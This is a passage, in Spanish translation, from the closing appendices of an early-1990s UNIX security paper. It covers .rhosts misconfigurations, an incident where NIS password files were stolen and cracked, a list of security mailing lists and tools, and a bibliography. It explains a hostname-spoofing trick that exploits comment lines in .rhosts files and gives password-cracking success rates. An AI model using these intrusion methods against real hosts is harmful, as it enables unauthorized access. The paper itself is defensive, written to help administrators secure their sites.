numero de hosts remotos de confianza.

Aunque fue muy dificil el verificar cuantas de las entradas fueron validas,
con nombres de host tales como "Makefile", "Message-Id:", and
"^Cs^A^C^M^Ci^C^MpNu^L^Z^O", asi como unas pocas entradas de wildcard, nos
cuestionamos la sensatez de poner la seguridad de un site en manos de sus
usuarios. Muchos usuarios (especialmente los poseedores de largos archivos
.rhosts) intentaron poner comentarios tipo shell en sus archivos .rhosts,
que son intentados reolver como nombre de host validos por muchos sistemas
UNIX. Desafortunadamente, un atacante puede entonces usar las tecnicas DNS
y NIS de engaño del nombre de host discutidas antes para fijar sus nombres
de host como "#" y entrar libremente. Esto pone en riesgo a muchos sites
(al menos una distribucion es dada con comentarios en sus archivos
/etc/hosts.equiv).

Podrias pensar que estos sites no son tipicos, y, de hecho, no lo eran.

Virtualmente todos los administradores saben un monton sobre seguridad y
escriben programas de seguridad como hobby o como profesion, y muchos de
los sites para los que trabajaron hicieron estudios de seguridad o crearon
productos de seguridad. Solo podemos suponernos como sera un site "tipico".

-----

Apendice C:

Despues de recibir mail de un site que habia sido violado desde uno de
nuestros sistemas, se inicio una investigacion. Con el tiempo, encontramos
que el intruso estaba haciendolo desde una lista de sites ".com"
(comerciales), buscando hosts con ficheros de password faciles de robar. En
este caso, "facil de robar" se refiere a sites con un nobre de dominio NIS
facil de adivinar y un servidor NIS de facil acceso. Sin saber cuan lejos
habia llegado el intruso, parecia una buena idea el alertar a los sites que
eran en si vulnerables al robo de passwords. De los 656 hosts de la lista
del intruso, 24 tenian archivos de password susceptibles de robo - 1 de
cada 25 hosts mas o menos!!. Un tercio de estos archivos contenia al menos
una cuenta sin password con shell interactivo. Con un total de 1594
entradas, a una media de 10 minutos corriendo un password cracker (Crack)
daria mas de 50 passwords, usando una estacion de trabajo Sun de gama baja.
Otros 40 mas se encontaron en los siguientes 20 minutos; y un password de
la cuenta root se encontro en solo 1 hora. El resultado despues de unos
dias de crackeo fue: 5 passwords root, 19 de 24 archivos de password (80%)
con al menos un password conocido, y 259 de 1594 (1 sexto) passwords
adivinados.

-----

Apendice D:

Como conseguir metodos de seguridad gratis en Internet

Listas de mail:

o The CERT (Computer Emergency Response Team) advisory mailing list.

Mandar e-mail a [email protected], y pedir que se te ponga en su lista de mail.

o The Phrack newsletter. Mandar e-mail a [email protected] y pedir que

se te añada en la lista.

o The Firewalls mailing list. [email protected]

Poner lo siguiente:

subscribe firewalls

o Computer Underground Digest. Mandar e-mail a

[email protected], pidiendo que te pongan en la lista.

Software gratis:

COPS (Computer Oracle and Password System) disponible via ftp

anonimo fde archive.cis.ohio-state.edu, in pub/cops/1.04+.

The tcp wrappers disponibles via ftp anonimo de ftp.win.tue.nl,

in pub/security.

Crack esta disponible en ftp.uu.net, in /usenet/comp.sources.misc/volume28.

TAMU is a UNIX auditing tool that is part of a larger suite of excellent

tools put out by a group at the Texas A&M University. They can be
gotten via anonymous ftp at net.tamu.edu, in pub/security/TAMU.

Sources for ftpd and many other network utilities can be found in
ftp.uu.net, in packages/bsd-sources.
Source for ISS (Internet Security Scanner), a tool that remotely scans
for various network vulnerabilities, is available via anonymous ftp from
ftp.uu.net, in usenet/comp.sources.misc/volume40/iss.

Securelib is available via anonymous ftp from ftp.uu.net, in

usenet/comp.sources.misc/volume36/securelib.

The latest version of berkeley sendmail is available via anonymous ftp

from ftp.cs.berkeley.edu, in ucb/sendmail.

Tripwire, a UNIX filesystem integrity checker+, is available via anonymous

ftp at ftp.cs.purdue.edu, in pub/spaf/COAST/Tripwire.

-----

Bibliografia:

Baldwin, Robert W., Rule Based Analysis of Computer Security,

Massachusetts Institute of Technology, June 1987.

Bellovin, Steve, Using the Domain Name System for System Break-ins,
1992 (unpublished).

Massachusetts Institute of Technology, X Window System Protocol,

Version 11, 1990.

Shimomura, Tsutomu, private communication.

Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992.